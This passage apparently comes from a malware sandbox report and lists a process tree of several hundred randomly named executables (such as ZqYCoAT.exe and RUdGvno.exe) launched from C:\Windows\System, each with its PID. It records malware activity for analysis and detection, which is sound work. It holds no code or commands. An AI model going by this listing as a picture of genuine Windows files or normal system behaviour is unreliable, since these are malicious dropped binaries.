- C:\Windows\System\ZqYCoAT.exe
  C:\Windows\System\ZqYCoAT.exe
  2⤵
  PID:1368
- C:\Windows\System\emaaHCc.exe
  C:\Windows\System\emaaHCc.exe
  2⤵
  PID:3480
- C:\Windows\System\BWvyNSD.exe
  C:\Windows\System\BWvyNSD.exe
  2⤵
  PID:3532
- C:\Windows\System\kvUVcNN.exe
  C:\Windows\System\kvUVcNN.exe
  2⤵
  PID:3660
- C:\Windows\System\gRdZyBZ.exe
  C:\Windows\System\gRdZyBZ.exe
  2⤵
  PID:912
- C:\Windows\System\QMFTCZZ.exe
  C:\Windows\System\QMFTCZZ.exe
  2⤵
  PID:3692
- C:\Windows\System\xkIMlqG.exe
  C:\Windows\System\xkIMlqG.exe
  2⤵
  PID:2892
- C:\Windows\System\uYsBqxO.exe
  C:\Windows\System\uYsBqxO.exe
  2⤵
  PID:2988
- C:\Windows\System\guzqzWN.exe
  C:\Windows\System\guzqzWN.exe
  2⤵
  PID:3356
- C:\Windows\System\DWquqcF.exe
  C:\Windows\System\DWquqcF.exe
  2⤵
  PID:2548
- C:\Windows\System\ktLuCzx.exe
  C:\Windows\System\ktLuCzx.exe
  2⤵
  PID:1664
- C:\Windows\System\LmjaGSI.exe
  C:\Windows\System\LmjaGSI.exe
  2⤵
  PID:3184
- C:\Windows\System\laonmBH.exe
  C:\Windows\System\laonmBH.exe
  2⤵
  PID:3068
- C:\Windows\System\xekHPKm.exe
  C:\Windows\System\xekHPKm.exe
  2⤵
  PID:3548
- C:\Windows\System\CjKeGwo.exe
  C:\Windows\System\CjKeGwo.exe
  2⤵
  PID:836
- C:\Windows\System\zoHhNZf.exe
  C:\Windows\System\zoHhNZf.exe
  2⤵
  PID:3960
- C:\Windows\System\SNladUj.exe
  C:\Windows\System\SNladUj.exe
  2⤵
  PID:1620
- C:\Windows\System\aQGtQsJ.exe
  C:\Windows\System\aQGtQsJ.exe
  2⤵
  PID:3580
- C:\Windows\System\zVqTLCC.exe
  C:\Windows\System\zVqTLCC.exe
  2⤵
  PID:4112
- C:\Windows\System\yXqVryn.exe
  C:\Windows\System\yXqVryn.exe
  2⤵
  PID:4128
- C:\Windows\System\OURYkGJ.exe
  C:\Windows\System\OURYkGJ.exe
  2⤵
  PID:4144
- C:\Windows\System\HuxfNzd.exe
  C:\Windows\System\HuxfNzd.exe
  2⤵
  PID:4160
- C:\Windows\System\FLTNJtU.exe
  C:\Windows\System\FLTNJtU.exe
  2⤵
  PID:4176
- C:\Windows\System\TfCzuwa.exe
  C:\Windows\System\TfCzuwa.exe
  2⤵
  PID:4192
- C:\Windows\System\WgMESmC.exe
  C:\Windows\System\WgMESmC.exe
  2⤵
  PID:4208
- C:\Windows\System\jXxAwZh.exe
  C:\Windows\System\jXxAwZh.exe
  2⤵
  PID:4224
- C:\Windows\System\wtUWDxF.exe
  C:\Windows\System\wtUWDxF.exe
  2⤵
  PID:4240
- C:\Windows\System\agzXMaT.exe
  C:\Windows\System\agzXMaT.exe
  2⤵
  PID:4256
- C:\Windows\System\zoPmyuG.exe
  C:\Windows\System\zoPmyuG.exe
  2⤵
  PID:4272
- C:\Windows\System\Grcxdzc.exe
  C:\Windows\System\Grcxdzc.exe
  2⤵
  PID:4288
- C:\Windows\System\byXhoCB.exe
  C:\Windows\System\byXhoCB.exe
  2⤵
  PID:4304
- C:\Windows\System\VyDgvbC.exe
  C:\Windows\System\VyDgvbC.exe
  2⤵
  PID:4320
- C:\Windows\System\CGCAhaP.exe
  C:\Windows\System\CGCAhaP.exe
  2⤵
  PID:4336
- C:\Windows\System\WSfIEEl.exe
  C:\Windows\System\WSfIEEl.exe
  2⤵
  PID:4352
- C:\Windows\System\SIcvjhv.exe
  C:\Windows\System\SIcvjhv.exe
  2⤵
  PID:4368
- C:\Windows\System\DsmuuFL.exe
  C:\Windows\System\DsmuuFL.exe
  2⤵
  PID:4384
- C:\Windows\System\jvaVzMG.exe
  C:\Windows\System\jvaVzMG.exe
  2⤵
  PID:4400
- C:\Windows\System\oTecNIv.exe
  C:\Windows\System\oTecNIv.exe
  2⤵
  PID:4416
- C:\Windows\System\Lqvobqq.exe
  C:\Windows\System\Lqvobqq.exe
  2⤵
  PID:4432
- C:\Windows\System\FjfbXUK.exe
  C:\Windows\System\FjfbXUK.exe
  2⤵
  PID:4460
- C:\Windows\System\WVuDrgZ.exe
  C:\Windows\System\WVuDrgZ.exe
  2⤵
  PID:4476
- C:\Windows\System\PhGacBa.exe
  C:\Windows\System\PhGacBa.exe
  2⤵
  PID:4492
- C:\Windows\System\UQoqJpr.exe
  C:\Windows\System\UQoqJpr.exe
  2⤵
  PID:4732
- C:\Windows\System\zlCixkF.exe
  C:\Windows\System\zlCixkF.exe
  2⤵
  PID:4748
- C:\Windows\System\ZfGzkzP.exe
  C:\Windows\System\ZfGzkzP.exe
  2⤵
  PID:4772
- C:\Windows\System\ibpktik.exe
  C:\Windows\System\ibpktik.exe
  2⤵
  PID:4864
- C:\Windows\System\HnfUrlL.exe
  C:\Windows\System\HnfUrlL.exe
  2⤵
  PID:4880
- C:\Windows\System\kIpyneo.exe
  C:\Windows\System\kIpyneo.exe
  2⤵
  PID:4900
- C:\Windows\System\xcDmhUZ.exe
  C:\Windows\System\xcDmhUZ.exe
  2⤵
  PID:4916
- C:\Windows\System\TDhTQyF.exe
  C:\Windows\System\TDhTQyF.exe
  2⤵
  PID:4936
- C:\Windows\System\vxYOYSV.exe
  C:\Windows\System\vxYOYSV.exe
  2⤵
  PID:4956
- C:\Windows\System\DIZjuBx.exe
  C:\Windows\System\DIZjuBx.exe
  2⤵
  PID:4996
- C:\Windows\System\qXSqOFh.exe
  C:\Windows\System\qXSqOFh.exe
  2⤵
  PID:5028
- C:\Windows\System\HgmHLOF.exe
  C:\Windows\System\HgmHLOF.exe
  2⤵
  PID:5048
- C:\Windows\System\fCmGfMO.exe
  C:\Windows\System\fCmGfMO.exe
  2⤵
  PID:5072
- C:\Windows\System\awKgXJB.exe
  C:\Windows\System\awKgXJB.exe
  2⤵
  PID:5088
- C:\Windows\System\VPOQXgz.exe
  C:\Windows\System\VPOQXgz.exe
  2⤵
  PID:5104
- C:\Windows\System\FLWrvvJ.exe
  C:\Windows\System\FLWrvvJ.exe
  2⤵
  PID:1656
- C:\Windows\System\KkxXdxY.exe
  C:\Windows\System\KkxXdxY.exe
  2⤵
  PID:3116
- C:\Windows\System\uEWtToS.exe
  C:\Windows\System\uEWtToS.exe
  2⤵
  PID:4108
- C:\Windows\System\iywcQUC.exe
  C:\Windows\System\iywcQUC.exe
  2⤵
  PID:4152
- C:\Windows\System\vjPYbKt.exe
  C:\Windows\System\vjPYbKt.exe
  2⤵
  PID:4200
- C:\Windows\System\VhZKKuO.exe
  C:\Windows\System\VhZKKuO.exe
  2⤵
  PID:4252
- C:\Windows\System\sgXKjKk.exe
  C:\Windows\System\sgXKjKk.exe
  2⤵
  PID:4284
- C:\Windows\System\tSydqTx.exe
  C:\Windows\System\tSydqTx.exe
  2⤵
  PID:4344
- C:\Windows\System\gURCgcc.exe
  C:\Windows\System\gURCgcc.exe
  2⤵
  PID:4328
- C:\Windows\System\KEBBUoJ.exe
  C:\Windows\System\KEBBUoJ.exe
  2⤵
  PID:4412
- C:\Windows\System\KuclsYF.exe
  C:\Windows\System\KuclsYF.exe
  2⤵
  PID:4448
- C:\Windows\System\uiSgxST.exe
  C:\Windows\System\uiSgxST.exe
  2⤵
  PID:4360
- C:\Windows\System\BQMWJVe.exe
  C:\Windows\System\BQMWJVe.exe
  2⤵
  PID:4472
- C:\Windows\System\COfgCNL.exe
  C:\Windows\System\COfgCNL.exe
  2⤵
  PID:4508
- C:\Windows\System\kZjUGkC.exe
  C:\Windows\System\kZjUGkC.exe
  2⤵
  PID:4524
- C:\Windows\System\ofxulci.exe
  C:\Windows\System\ofxulci.exe
  2⤵
  PID:4544
- C:\Windows\System\BpDKnWI.exe
  C:\Windows\System\BpDKnWI.exe
  2⤵
  PID:4576
- C:\Windows\System\ZqEKqAV.exe
  C:\Windows\System\ZqEKqAV.exe
  2⤵
  PID:4584
- C:\Windows\System\jOqbBpL.exe
  C:\Windows\System\jOqbBpL.exe
  2⤵
  PID:4612
- C:\Windows\System\BQUyEDe.exe
  C:\Windows\System\BQUyEDe.exe
  2⤵
  PID:4632
- C:\Windows\System\uWaIyGg.exe
  C:\Windows\System\uWaIyGg.exe
  2⤵
  PID:4648
- C:\Windows\System\SGqVKbt.exe
  C:\Windows\System\SGqVKbt.exe
  2⤵
  PID:4668
- C:\Windows\System\BxRaJLA.exe
  C:\Windows\System\BxRaJLA.exe
  2⤵
  PID:4692
- C:\Windows\System\oBozBND.exe
  C:\Windows\System\oBozBND.exe
  2⤵
  PID:4716
- C:\Windows\System\FjiMsux.exe
  C:\Windows\System\FjiMsux.exe
  2⤵
  PID:4744
- C:\Windows\System\MVfakxg.exe
  C:\Windows\System\MVfakxg.exe
  2⤵
  PID:4784
- C:\Windows\System\lkWtoBZ.exe
  C:\Windows\System\lkWtoBZ.exe
  2⤵
  PID:4816
- C:\Windows\System\YFZhwuv.exe
  C:\Windows\System\YFZhwuv.exe
  2⤵
  PID:4836
- C:\Windows\System\ILqzPoc.exe
  C:\Windows\System\ILqzPoc.exe
  2⤵
  PID:4856
- C:\Windows\System\YkjVohT.exe
  C:\Windows\System\YkjVohT.exe
  2⤵
  PID:4964
- C:\Windows\System\UwqpNGY.exe
  C:\Windows\System\UwqpNGY.exe
  2⤵
  PID:4912
- C:\Windows\System\uLttJGT.exe
  C:\Windows\System\uLttJGT.exe
  2⤵
  PID:4980
- C:\Windows\System\dyJnuek.exe
  C:\Windows\System\dyJnuek.exe
  2⤵
  PID:4972
- C:\Windows\System\uvTUVIi.exe
  C:\Windows\System\uvTUVIi.exe
  2⤵
  PID:5060
- C:\Windows\System\IDfdxrQ.exe
  C:\Windows\System\IDfdxrQ.exe
  2⤵
  PID:5096
- C:\Windows\System\zRCaYao.exe
  C:\Windows\System\zRCaYao.exe
  2⤵
  PID:4204
- C:\Windows\System\ifgdyKQ.exe
  C:\Windows\System\ifgdyKQ.exe
  2⤵
  PID:4296
- C:\Windows\System\SUuukQI.exe
  C:\Windows\System\SUuukQI.exe
  2⤵
  PID:4364
- C:\Windows\System\CJkljCv.exe
  C:\Windows\System\CJkljCv.exe
  2⤵
  PID:4392
- C:\Windows\System\fkLdRLm.exe
  C:\Windows\System\fkLdRLm.exe
  2⤵
  PID:5044
- C:\Windows\System\coFBnww.exe
  C:\Windows\System\coFBnww.exe
  2⤵
  PID:2912
- C:\Windows\System\KpkOqXH.exe
  C:\Windows\System\KpkOqXH.exe
  2⤵
  PID:4168
- C:\Windows\System\cQsYrNz.exe
  C:\Windows\System\cQsYrNz.exe
  2⤵
  PID:4280
- C:\Windows\System\TmrKFVA.exe
  C:\Windows\System\TmrKFVA.exe
  2⤵
  PID:4444
- C:\Windows\System\PAUKNPE.exe
  C:\Windows\System\PAUKNPE.exe
  2⤵
  PID:4516
- C:\Windows\System\GrWHqIx.exe
  C:\Windows\System\GrWHqIx.exe
  2⤵
  PID:884
- C:\Windows\System\CHbCLLQ.exe
  C:\Windows\System\CHbCLLQ.exe
  2⤵
  PID:4620
- C:\Windows\System\ksZIVfb.exe
  C:\Windows\System\ksZIVfb.exe
  2⤵
  PID:4664
- C:\Windows\System\DusFsHH.exe
  C:\Windows\System\DusFsHH.exe
  2⤵
  PID:4560
- C:\Windows\System\OfVbjcT.exe
  C:\Windows\System\OfVbjcT.exe
  2⤵
  PID:4592
- C:\Windows\System\cNGWqbF.exe
  C:\Windows\System\cNGWqbF.exe
  2⤵
  PID:4652
- C:\Windows\System\OmVPnrG.exe
  C:\Windows\System\OmVPnrG.exe
  2⤵
  PID:4712
- C:\Windows\System\qrJdbeQ.exe
  C:\Windows\System\qrJdbeQ.exe
  2⤵
  PID:4676
- C:\Windows\System\LfCAEuL.exe
  C:\Windows\System\LfCAEuL.exe
  2⤵
  PID:4780
- C:\Windows\System\zzjkdbu.exe
  C:\Windows\System\zzjkdbu.exe
  2⤵
  PID:4792
- C:\Windows\System\TVFpSYF.exe
  C:\Windows\System\TVFpSYF.exe
  2⤵
  PID:4800
- C:\Windows\System\CrTgYFt.exe
  C:\Windows\System\CrTgYFt.exe
  2⤵
  PID:4852
- C:\Windows\System\fJXNthh.exe
  C:\Windows\System\fJXNthh.exe
  2⤵
  PID:4896
- C:\Windows\System\hWgsFtG.exe
  C:\Windows\System\hWgsFtG.exe
  2⤵
  PID:4876
- C:\Windows\System\mXeOhZD.exe
  C:\Windows\System\mXeOhZD.exe
  2⤵
  PID:5016
- C:\Windows\System\QPzFPlh.exe
  C:\Windows\System\QPzFPlh.exe
  2⤵
  PID:5024
- C:\Windows\System\XtfdJvK.exe
  C:\Windows\System\XtfdJvK.exe
  2⤵
  PID:5100
- C:\Windows\System\tuUTKUt.exe
  C:\Windows\System\tuUTKUt.exe
  2⤵
  PID:4136
- C:\Windows\System\YOoeyIa.exe
  C:\Windows\System\YOoeyIa.exe
  2⤵
  PID:4316
- C:\Windows\System\kZrwcXR.exe
  C:\Windows\System\kZrwcXR.exe
  2⤵
  PID:2784
- C:\Windows\System\FGWnITl.exe
  C:\Windows\System\FGWnITl.exe
  2⤵
  PID:4504
- C:\Windows\System\JpnSCEE.exe
  C:\Windows\System\JpnSCEE.exe
  2⤵
  PID:4104
- C:\Windows\System\hHdVGuz.exe
  C:\Windows\System\hHdVGuz.exe
  2⤵
  PID:4264
- C:\Windows\System\GfJYIJU.exe
  C:\Windows\System\GfJYIJU.exe
  2⤵
  PID:4428
- C:\Windows\System\AIKMWwx.exe
  C:\Windows\System\AIKMWwx.exe
  2⤵
  PID:4456
- C:\Windows\System\qogtZAq.exe
  C:\Windows\System\qogtZAq.exe
  2⤵
  PID:4808
- C:\Windows\System\XKuUHCJ.exe
  C:\Windows\System\XKuUHCJ.exe
  2⤵
  PID:4992
- C:\Windows\System\trekUty.exe
  C:\Windows\System\trekUty.exe
  2⤵
  PID:5020
- C:\Windows\System\hECLwSM.exe
  C:\Windows\System\hECLwSM.exe
  2⤵
  PID:4848
- C:\Windows\System\fLQoCCx.exe
  C:\Windows\System\fLQoCCx.exe
  2⤵
  PID:4140
- C:\Windows\System\pwYsKbf.exe
  C:\Windows\System\pwYsKbf.exe
  2⤵
  PID:4608
- C:\Windows\System\MfRGfXf.exe
  C:\Windows\System\MfRGfXf.exe
  2⤵
  PID:4348
- C:\Windows\System\yeadkLT.exe
  C:\Windows\System\yeadkLT.exe
  2⤵
  PID:2276
- C:\Windows\System\UxQXlhb.exe
  C:\Windows\System\UxQXlhb.exe
  2⤵
  PID:4804
- C:\Windows\System\CuFbjoT.exe
  C:\Windows\System\CuFbjoT.exe
  2⤵
  PID:4700
- C:\Windows\System\qRVoHfW.exe
  C:\Windows\System\qRVoHfW.exe
  2⤵
  PID:4740
- C:\Windows\System\oflihqV.exe
  C:\Windows\System\oflihqV.exe
  2⤵
  PID:3136
- C:\Windows\System\GQCCVwo.exe
  C:\Windows\System\GQCCVwo.exe
  2⤵
  PID:4248
- C:\Windows\System\CQtijxB.exe
  C:\Windows\System\CQtijxB.exe
  2⤵
  PID:2888
- C:\Windows\System\dBjhoCH.exe
  C:\Windows\System\dBjhoCH.exe
  2⤵
  PID:4944
- C:\Windows\System\mrvPMGo.exe
  C:\Windows\System\mrvPMGo.exe
  2⤵
  PID:4988
- C:\Windows\System\cimSJrX.exe
  C:\Windows\System\cimSJrX.exe
  2⤵
  PID:2572
- C:\Windows\System\PoZUBnP.exe
  C:\Windows\System\PoZUBnP.exe
  2⤵
  PID:4704
- C:\Windows\System\bPTSFLo.exe
  C:\Windows\System\bPTSFLo.exe
  2⤵
  PID:3888
- C:\Windows\System\TNQeggL.exe
  C:\Windows\System\TNQeggL.exe
  2⤵
  PID:5136
- C:\Windows\System\XmGjIiE.exe
  C:\Windows\System\XmGjIiE.exe
  2⤵
  PID:5152
- C:\Windows\System\qPSURmy.exe
  C:\Windows\System\qPSURmy.exe
  2⤵
  PID:5168
- C:\Windows\System\CUmLNxs.exe
  C:\Windows\System\CUmLNxs.exe
  2⤵
  PID:5184
- C:\Windows\System\uSgfBMZ.exe
  C:\Windows\System\uSgfBMZ.exe
  2⤵
  PID:5200
- C:\Windows\System\OVJsXie.exe
  C:\Windows\System\OVJsXie.exe
  2⤵
  PID:5216
- C:\Windows\System\tCxGjac.exe
  C:\Windows\System\tCxGjac.exe
  2⤵
  PID:5232
- C:\Windows\System\CWineuh.exe
  C:\Windows\System\CWineuh.exe
  2⤵
  PID:5252
- C:\Windows\System\OTYNqcT.exe
  C:\Windows\System\OTYNqcT.exe
  2⤵
  PID:5268
- C:\Windows\System\ZnNgHSz.exe
  C:\Windows\System\ZnNgHSz.exe
  2⤵
  PID:5284
- C:\Windows\System\KEFJzKB.exe
  C:\Windows\System\KEFJzKB.exe
  2⤵
  PID:5300
- C:\Windows\System\XrGlfvV.exe
  C:\Windows\System\XrGlfvV.exe
  2⤵
  PID:5316
- C:\Windows\System\hABdJoS.exe
  C:\Windows\System\hABdJoS.exe
  2⤵
  PID:5336
- C:\Windows\System\OLjdDSM.exe
  C:\Windows\System\OLjdDSM.exe
  2⤵
  PID:5352
- C:\Windows\System\hITukJx.exe
  C:\Windows\System\hITukJx.exe
  2⤵
  PID:5368
- C:\Windows\System\BQsUnzB.exe
  C:\Windows\System\BQsUnzB.exe
  2⤵
  PID:5384
- C:\Windows\System\XRSUFms.exe
  C:\Windows\System\XRSUFms.exe
  2⤵
  PID:5404
- C:\Windows\System\dJvjelu.exe
  C:\Windows\System\dJvjelu.exe
  2⤵
  PID:5420
- C:\Windows\System\LzMWtlW.exe
  C:\Windows\System\LzMWtlW.exe
  2⤵
  PID:5436
- C:\Windows\System\aMpwVnh.exe
  C:\Windows\System\aMpwVnh.exe
  2⤵
  PID:5452
- C:\Windows\System\cmavryW.exe
  C:\Windows\System\cmavryW.exe
  2⤵
  PID:5468
- C:\Windows\System\YXqemgv.exe
  C:\Windows\System\YXqemgv.exe
  2⤵
  PID:5484
- C:\Windows\System\FYSQaDL.exe
  C:\Windows\System\FYSQaDL.exe
  2⤵
  PID:5500
- C:\Windows\System\GhqebUK.exe
  C:\Windows\System\GhqebUK.exe
  2⤵
  PID:5516
- C:\Windows\System\elMxAtk.exe
  C:\Windows\System\elMxAtk.exe
  2⤵
  PID:5532
- C:\Windows\System\JtydOVc.exe
  C:\Windows\System\JtydOVc.exe
  2⤵
  PID:5548
- C:\Windows\System\maRVcmf.exe
  C:\Windows\System\maRVcmf.exe
  2⤵
  PID:5564
- C:\Windows\System\UVDSVnN.exe
  C:\Windows\System\UVDSVnN.exe
  2⤵
  PID:5580
- C:\Windows\System\jspaHmm.exe
  C:\Windows\System\jspaHmm.exe
  2⤵
  PID:5600
- C:\Windows\System\YlTTjuh.exe
  C:\Windows\System\YlTTjuh.exe
  2⤵
  PID:5616
- C:\Windows\System\TidUUsl.exe
  C:\Windows\System\TidUUsl.exe
  2⤵
  PID:5632
- C:\Windows\System\skaKOEj.exe
  C:\Windows\System\skaKOEj.exe
  2⤵
  PID:5648
- C:\Windows\System\tYllJqm.exe
  C:\Windows\System\tYllJqm.exe
  2⤵
  PID:5664
- C:\Windows\System\SEKPRwZ.exe
  C:\Windows\System\SEKPRwZ.exe
  2⤵
  PID:5680
- C:\Windows\System\avPYhgg.exe
  C:\Windows\System\avPYhgg.exe
  2⤵
  PID:5696
- C:\Windows\System\HRmXKla.exe
  C:\Windows\System\HRmXKla.exe
  2⤵
  PID:5784
- C:\Windows\System\zygyUKV.exe
  C:\Windows\System\zygyUKV.exe
  2⤵
  PID:5804
- C:\Windows\System\OORxkUC.exe
  C:\Windows\System\OORxkUC.exe
  2⤵
  PID:5820
- C:\Windows\System\JbtnVxt.exe
  C:\Windows\System\JbtnVxt.exe
  2⤵
  PID:5836
- C:\Windows\System\bnYUPXg.exe
  C:\Windows\System\bnYUPXg.exe
  2⤵
  PID:5852
- C:\Windows\System\KhrfIxT.exe
  C:\Windows\System\KhrfIxT.exe
  2⤵
  PID:5868
- C:\Windows\System\oQYtEfo.exe
  C:\Windows\System\oQYtEfo.exe
  2⤵
  PID:5884
- C:\Windows\System\BOHpSiA.exe
  C:\Windows\System\BOHpSiA.exe
  2⤵
  PID:5900
- C:\Windows\System\GugwxuX.exe
  C:\Windows\System\GugwxuX.exe
  2⤵
  PID:5916
- C:\Windows\System\qgfcdqC.exe
  C:\Windows\System\qgfcdqC.exe
  2⤵
  PID:5932
- C:\Windows\System\KYznvOT.exe
  C:\Windows\System\KYznvOT.exe
  2⤵
  PID:5948
- C:\Windows\System\qgJvUbA.exe
  C:\Windows\System\qgJvUbA.exe
  2⤵
  PID:5964
- C:\Windows\System\mDnYltb.exe
  C:\Windows\System\mDnYltb.exe
  2⤵
  PID:5980
- C:\Windows\System\tYhlfaH.exe
  C:\Windows\System\tYhlfaH.exe
  2⤵
  PID:6004
- C:\Windows\System\bcNVeDa.exe
  C:\Windows\System\bcNVeDa.exe
  2⤵
  PID:6020
- C:\Windows\System\CbOnJbu.exe
  C:\Windows\System\CbOnJbu.exe
  2⤵
  PID:6036
- C:\Windows\System\ppxiYZk.exe
  C:\Windows\System\ppxiYZk.exe
  2⤵
  PID:6052
- C:\Windows\System\inDhvFV.exe
  C:\Windows\System\inDhvFV.exe
  2⤵
  PID:6076
- C:\Windows\System\uUUShaI.exe
  C:\Windows\System\uUUShaI.exe
  2⤵
  PID:6092
- C:\Windows\System\phQXAQM.exe
  C:\Windows\System\phQXAQM.exe
  2⤵
  PID:6108
- C:\Windows\System\HqPUkAK.exe
  C:\Windows\System\HqPUkAK.exe
  2⤵
  PID:6124
- C:\Windows\System\gzrxchH.exe
  C:\Windows\System\gzrxchH.exe
  2⤵
  PID:6140
- C:\Windows\System\NvXjzKo.exe
  C:\Windows\System\NvXjzKo.exe
  2⤵
  PID:4948
- C:\Windows\System\WUHqdBd.exe
  C:\Windows\System\WUHqdBd.exe
  2⤵
  PID:5132
- C:\Windows\System\CbqfGMj.exe
  C:\Windows\System\CbqfGMj.exe
  2⤵
  PID:4468
- C:\Windows\System\egdrEzi.exe
  C:\Windows\System\egdrEzi.exe
  2⤵
  PID:5180
- C:\Windows\System\WlCnUsa.exe
  C:\Windows\System\WlCnUsa.exe
  2⤵
  PID:5644
- C:\Windows\System\MmhJcyA.exe
  C:\Windows\System\MmhJcyA.exe
  2⤵
  PID:5576
- C:\Windows\System\dZYufLi.exe
  C:\Windows\System\dZYufLi.exe
  2⤵
  PID:5244
- C:\Windows\System\cjvRwxf.exe
  C:\Windows\System\cjvRwxf.exe
  2⤵
  PID:4424
- C:\Windows\System\oUrngzn.exe
  C:\Windows\System\oUrngzn.exe
  2⤵
  PID:4604
- C:\Windows\System\oSTdZQV.exe
  C:\Windows\System\oSTdZQV.exe
  2⤵
  PID:5712
- C:\Windows\System\CsUfbMp.exe
  C:\Windows\System\CsUfbMp.exe
  2⤵
  PID:5392
- C:\Windows\System\wdKPnqh.exe
  C:\Windows\System\wdKPnqh.exe
  2⤵
  PID:5524
- C:\Windows\System\GZnyZLK.exe
  C:\Windows\System\GZnyZLK.exe
  2⤵
  PID:5292
- C:\Windows\System\wnLMiQO.exe
  C:\Windows\System\wnLMiQO.exe
  2⤵
  PID:5332
- C:\Windows\System\bwYGfKV.exe
  C:\Windows\System\bwYGfKV.exe
  2⤵
  PID:5400
- C:\Windows\System\oTPHXaC.exe
  C:\Windows\System\oTPHXaC.exe
  2⤵
  PID:5492
- C:\Windows\System\acWikNQ.exe
  C:\Windows\System\acWikNQ.exe
  2⤵
  PID:5560
- C:\Windows\System\FHJJgMQ.exe
  C:\Windows\System\FHJJgMQ.exe
  2⤵
  PID:5656
- C:\Windows\System\manyAED.exe
  C:\Windows\System\manyAED.exe
  2⤵
  PID:5692
- C:\Windows\System\EZRKMbb.exe
  C:\Windows\System\EZRKMbb.exe
  2⤵
  PID:5728
- C:\Windows\System\qESKbba.exe
  C:\Windows\System\qESKbba.exe
  2⤵
  PID:5740
- C:\Windows\System\xYVjfdC.exe
  C:\Windows\System\xYVjfdC.exe
  2⤵
  PID:5760
- C:\Windows\System\GBXVJFK.exe
  C:\Windows\System\GBXVJFK.exe
  2⤵
  PID:5812
- C:\Windows\System\ONHfgey.exe
  C:\Windows\System\ONHfgey.exe
  2⤵
  PID:5880
- C:\Windows\System\yLeBOsn.exe
  C:\Windows\System\yLeBOsn.exe
  2⤵
  PID:5972
- C:\Windows\System\zgbfrNS.exe
  C:\Windows\System\zgbfrNS.exe
  2⤵
  PID:5944
- C:\Windows\System\YAYmFMr.exe
  C:\Windows\System\YAYmFMr.exe
  2⤵
  PID:5828
- C:\Windows\System\KJPCZbC.exe
  C:\Windows\System\KJPCZbC.exe
  2⤵
  PID:5864
- C:\Windows\System\kJzJhye.exe
  C:\Windows\System\kJzJhye.exe
  2⤵
  PID:5928
- C:\Windows\System\LGOUEPb.exe
  C:\Windows\System\LGOUEPb.exe
  2⤵
  PID:5992
- C:\Windows\System\hYgNOgj.exe
  C:\Windows\System\hYgNOgj.exe
  2⤵
  PID:6000
- C:\Windows\System\bHuTdGd.exe
  C:\Windows\System\bHuTdGd.exe
  2⤵
  PID:6064
- C:\Windows\System\GaEZSup.exe
  C:\Windows\System\GaEZSup.exe
  2⤵
  PID:6104
- C:\Windows\System\aKllSUP.exe
  C:\Windows\System\aKllSUP.exe
  2⤵
  PID:6088
- C:\Windows\System\rDsLban.exe
  C:\Windows\System\rDsLban.exe
  2⤵
  PID:2816
- C:\Windows\System\WnBjQlD.exe
  C:\Windows\System\WnBjQlD.exe
  2⤵
  PID:4656
- C:\Windows\System\mymKYtM.exe
  C:\Windows\System\mymKYtM.exe
  2⤵
  PID:5036
- C:\Windows\System\lOEfhKL.exe
  C:\Windows\System\lOEfhKL.exe
  2⤵
  PID:4556
- C:\Windows\System\OuqPRdU.exe
  C:\Windows\System\OuqPRdU.exe
  2⤵
  PID:5312
- C:\Windows\System\cKlMwLs.exe
  C:\Windows\System\cKlMwLs.exe
  2⤵
  PID:5380
- C:\Windows\System\onqMezP.exe
  C:\Windows\System\onqMezP.exe
  2⤵
  PID:5448
- C:\Windows\System\VVpwvqw.exe
  C:\Windows\System\VVpwvqw.exe
  2⤵
  PID:5612
- C:\Windows\System\cncFevv.exe
  C:\Windows\System\cncFevv.exe
  2⤵
  PID:5608
- C:\Windows\System\TraRpYD.exe
  C:\Windows\System\TraRpYD.exe
  2⤵
  PID:5716
- C:\Windows\System\RWUfWSs.exe
  C:\Windows\System\RWUfWSs.exe
  2⤵
  PID:5296
- C:\Windows\System\bYNgHrx.exe
  C:\Windows\System\bYNgHrx.exe
  2⤵
  PID:5464
- C:\Windows\System\mzWyHmt.exe
  C:\Windows\System\mzWyHmt.exe
  2⤵
  PID:5720
- C:\Windows\System\QyFfmVy.exe
  C:\Windows\System\QyFfmVy.exe
  2⤵
  PID:5660
- C:\Windows\System\aALFvdz.exe
  C:\Windows\System\aALFvdz.exe
  2⤵
  PID:4232
- C:\Windows\System\zWFewmW.exe
  C:\Windows\System\zWFewmW.exe
  2⤵
  PID:5396
- C:\Windows\System\wBrFxkf.exe
  C:\Windows\System\wBrFxkf.exe
  2⤵
  PID:5192
- C:\Windows\System\VCFysXq.exe
  C:\Windows\System\VCFysXq.exe
  2⤵
  PID:5776
- C:\Windows\System\ofEuQqi.exe
  C:\Windows\System\ofEuQqi.exe
  2⤵
  PID:5876
- C:\Windows\System\TanjhxZ.exe
  C:\Windows\System\TanjhxZ.exe
  2⤵
  PID:5800
- C:\Windows\System\rUVroVy.exe
  C:\Windows\System\rUVroVy.exe
  2⤵
  PID:5912
- C:\Windows\System\XPTsZrj.exe
  C:\Windows\System\XPTsZrj.exe
  2⤵
  PID:5276
- C:\Windows\System\wnbAfvD.exe
  C:\Windows\System\wnbAfvD.exe
  2⤵
  PID:6132
- C:\Windows\System\YXwbKyT.exe
  C:\Windows\System\YXwbKyT.exe
  2⤵
  PID:5376
- C:\Windows\System\TCrGetK.exe
  C:\Windows\System\TCrGetK.exe
  2⤵
  PID:5540
- C:\Windows\System\yQcGxNi.exe
  C:\Windows\System\yQcGxNi.exe
  2⤵
  PID:5248
- C:\Windows\System\BqTWMxt.exe
  C:\Windows\System\BqTWMxt.exe
  2⤵
  PID:4828
- C:\Windows\System\iOxYhFy.exe
  C:\Windows\System\iOxYhFy.exe
  2⤵
  PID:5544
- C:\Windows\System\bMaSujt.exe
  C:\Windows\System\bMaSujt.exe
  2⤵
  PID:5328
- C:\Windows\System\OGptXpY.exe
  C:\Windows\System\OGptXpY.exe
  2⤵
  PID:2344
- C:\Windows\System\oPsmvLL.exe
  C:\Windows\System\oPsmvLL.exe
  2⤵
  PID:5772
- C:\Windows\System\ehKLsJB.exe
  C:\Windows\System\ehKLsJB.exe
  2⤵
  PID:5592
- C:\Windows\System\sYwIHEr.exe
  C:\Windows\System\sYwIHEr.exe
  2⤵
  PID:5432
- C:\Windows\System\ZzPUxwe.exe
  C:\Windows\System\ZzPUxwe.exe
  2⤵
  PID:5260
- C:\Windows\System\lrYMnqJ.exe
  C:\Windows\System\lrYMnqJ.exe
  2⤵
  PID:5796
- C:\Windows\System\qcLuuLV.exe
  C:\Windows\System\qcLuuLV.exe
  2⤵
  PID:6084
- C:\Windows\System\DDyzHGW.exe
  C:\Windows\System\DDyzHGW.exe
  2⤵
  PID:5212
- C:\Windows\System\qNQdnkH.exe
  C:\Windows\System\qNQdnkH.exe
  2⤵
  PID:5308
- C:\Windows\System\RUdGvno.exe
  C:\Windows\System\RUdGvno.exe
  2⤵
  PID:2672
